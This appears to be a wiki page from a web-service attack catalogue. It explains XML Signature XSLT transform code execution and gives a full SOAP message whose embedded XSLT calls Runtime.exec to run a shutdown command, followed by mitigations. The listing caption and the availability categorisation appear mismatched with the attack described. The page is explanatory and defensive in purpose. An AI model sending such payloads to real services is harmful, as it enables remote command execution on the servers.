XML Signature – XSLT Code Execution
Attack description
During the signature creation process in a SOAP message various steps are processed[1]. One of these steps is the transformation of the data that is pointed to by the <Reference> element. Usually the Transform operation aims at selecting just a subset of the referenced data. However the XML Signature specification doesn't limit the number of transforms nor does it limit the type of transforms.
one type of transform that is allowed by XML Signature specification are XSLT transforms. XSLT (Extensible Stylesheet Language Transformations) is an independent powerful language to transform XML documents from one form to another. Since XSLT is Turing-complete extremely powerful and complex transforms are possible[2]. This power can be used by an attacker to create transforms that executes arbitrary code.
Attack subtypes
There are no attack subtypes for this attack.
Prerequisites for attack
In order for this attack to work the attack has to have knowledge about the following thinks:
- Attacker knows endpoint of web service. otherwise he is not able to reach the web service.
- Attacker knows that the web web service processes the "signature" element. If the web service doesn't "expect" an signed part, it just discards the <signedinfo> element and the attack doesn't work.
- Attacker can reach endpoint from its location. Access to the attacked web service is required. If the web service is only available to users within a certain network of a company.
Graphical representation of attack
- Red = attacked web service component
- Black = location of attacker
- Blue = web service component not directly involved in attack.
Attack example
The example in listing 1 shows a SOAP message with malicious XSLT transform that calls the shutdown command. (Modified version of the example taken from [3] and [4])
"The example syntax is specific to the Xalan XSLT engine, but this approach is valid for most XSLT engines. The example calls "os:exec" as a user-defined extension, which is mapped to the Java lang.Runtime.exec() method which can execute any program the process has the rights to run. While the example calls the shutdown command, one should expect more painful attacks if a series of attack signatures are allowed"
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<SOAP-SEC:Signature
xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
SOAP-ENV:actor="some-URI"
SOAP-ENV:mustUnderstand="1">
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
</ds:CanonicalizationMethod>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
<ds:Reference URI="#Body">
<!-- ... -->
<!-- Start malicious XSLT transform -->
<!-- ... -->
<ds:Transforms xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java">
<xsl:template match="/" xmlns:os="java:lang.Runtime" >
<xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/>
<xsl:value-of select="os:exec($runtime, 'shutdown -i')" />
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<!-- ... -->
<!-- End malicious XSLT transform -->
<!-- ... -->
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
</ds:Signature>
</SOAP-SEC:Signature>
</SOAP-ENV:Header>
<SOAP-ENV:Body
xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
SOAP-SEC:id="Body">
<m:GetLastTradePrice xmlns:m="some-URI">
<m:symbol>IBM</m:symbol>
</m:GetLastTradePrice>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Listing 1: SOAP message with "XML Signature - C14N DOS" attack
Attack mitigation / countermeasures
In order to stop the attack, XSLT transforms should not be allowed. However if they are required make sure to accept signatures with these transforms only from trusted sources since it is unlikely that they will mount an attack.
Another countermeasure is the creation of a white list of allowed transforms. If a transform doesn't match it is discarded.
Attack categorisation
Categorisation by violated security objective
The attack aims at exhausting the system resources, therefore it violates the security objective Availability.
- Category:Attack_Categorisation_By_Violated_Security_Objective_OTHER
- Category:Attack_Categorisation_By_Violated_Security_Objective
Categorisation by number of involved parties
- Category:Attack_Categorisation_By_Number_Of_Involved_Parties:1_-_0_-_1
- Category:Attack_Categorisation_By_Number_Of_Involved_Parties
Categorisation by attacked component in web service architecture
- Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_Signature_Verification
- Category:Attack_Categorisation_By_Attacked_Web_Service_Component
Categorisation by attack spreading
- Category:Attack_Categorisation_By_Attack_Spreading
- Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws
References
- Frederick Hirsch and Pratik Datta. Xml signature best practices. http://www.w3.org/TR/2009/WD-xmldsig-bestpractices-20090226/, 2010. Accessed 01 July 2010.
- Pages using deprecated source tags
- Pages with syntax highlighting errors
- Attack Categorisation By Violated Security Objective OTHER
- Attack Categorisation By Violated Security Objective
- Attack Categorisation By Number Of Involved Parties:1 - 0 - 1
- Attack Categorisation By Number Of Involved Parties
- Attack Categorisation By Attacked Web Service Component: Signature Verification
- Attack Categorisation By Attacked Web Service Component
- Attack Categorisation By Attack Spreading
- Attack Categorisation By Attack Spreading:Conceptual Flaws